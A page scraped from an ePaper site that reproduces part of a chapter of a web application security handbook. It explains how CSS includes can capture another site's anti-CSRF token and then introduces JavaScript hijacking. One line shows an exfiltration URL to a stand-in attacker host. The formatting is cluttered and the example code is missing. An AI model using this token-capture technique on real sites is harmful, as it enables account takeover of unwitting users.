19.09.2017 Views

the-web-application-hackers-handbook

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Chapter 13 n Attacking Users: O<strong>the</strong>r Techniques 519<br />

<strong>the</strong>n be queried using JavaScript to retrieve <strong>the</strong> captured data. For example, <strong>the</strong><br />

attacker can host a page containing <strong>the</strong> following:<br />

<br />

<br />

document.write(‘’);<br />

<br />

This page includes <strong>the</strong> relevant URL from <strong>the</strong> <strong>web</strong> mail <strong>application</strong> as a<br />

stylesheet and <strong>the</strong>n runs a script to query <strong>the</strong> font-family property, which<br />

has been defined within <strong>the</strong> <strong>web</strong> mail <strong>application</strong>’s response. The value of<br />

<strong>the</strong> font-family property, including <strong>the</strong> sensitive anti-CSRF token, is <strong>the</strong>n<br />

transmitted to <strong>the</strong> attacker’s server via a dynamically generated request for<br />

<strong>the</strong> following URL:<br />

http://mdattacker.net/capture?%27%3C/td%3E%0D%0A...%0D%0A%3Cform%20<br />

action%3D%22 http%3A//wahh-mail.com/forwardemail%22%20method%3D%22POST%2<br />

2%3E%0D%0A%3Cinput%2 0type%3D%22hidden%22%20name%3D%22nonce%22%20value%3<br />

D%222230313740821%22%3E%0D %0A%3Cinput%20type%3D%22submit%22%20value%3D%<br />

22Forward%22%3E%0D%0A...%0D%0A%3C/ form%3E%0D%0A...%0D%0A%3Cscript%3E%0D<br />

%0Avar%20_StatsTrackerId%3D%27AAE78F27CB32 10D%27<br />

This attack works on current versions of Internet Explorer. O<strong>the</strong>r browsers<br />

have modified <strong>the</strong>ir handling of CSS includes to prevent <strong>the</strong> attack from working,<br />

and it is possible that IE may also do this in <strong>the</strong> future.<br />

JavaScript Hijacking<br />

JavaScript hijacking provides a fur<strong>the</strong>r method of capturing data cross-domain,<br />

turning CSRF into a limited “two-way” attack. As described in Chapter 3, <strong>the</strong><br />

same-origin policy allows one domain to include script code from ano<strong>the</strong>r<br />

domain, and this code executes in <strong>the</strong> context of <strong>the</strong> invoking domain, not <strong>the</strong><br />

issuing domain. This provision is harmless provided that <strong>application</strong> responses<br />

that are executable using a cross-domain script contain only nonsensitive code,<br />

which is static and accessible by any <strong>application</strong> user. However, many of today’s<br />

<strong>application</strong>s use JavaScript to transmit sensitive data, in a way that was not<br />

foreseen when <strong>the</strong> same-origin policy was devised. Fur<strong>the</strong>rmore, developments<br />

in browsers mean that an increasing range of syntax is becoming executable<br />

as valid JavaScript, with new opportunities for capturing data cross-domain.<br />

The changes in <strong>application</strong> design that fall under <strong>the</strong> broad “2.0” umbrella<br />

include new ways of using JavaScript code to transmit sensitive data from <strong>the</strong><br />

server to <strong>the</strong> client. In many situations, a fast and efficient way to update <strong>the</strong><br />

user interface via asynchronous requests to <strong>the</strong> server is to dynamically include<br />

script code that contains, in some form, <strong>the</strong> user-specific data that needs to be<br />

displayed.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!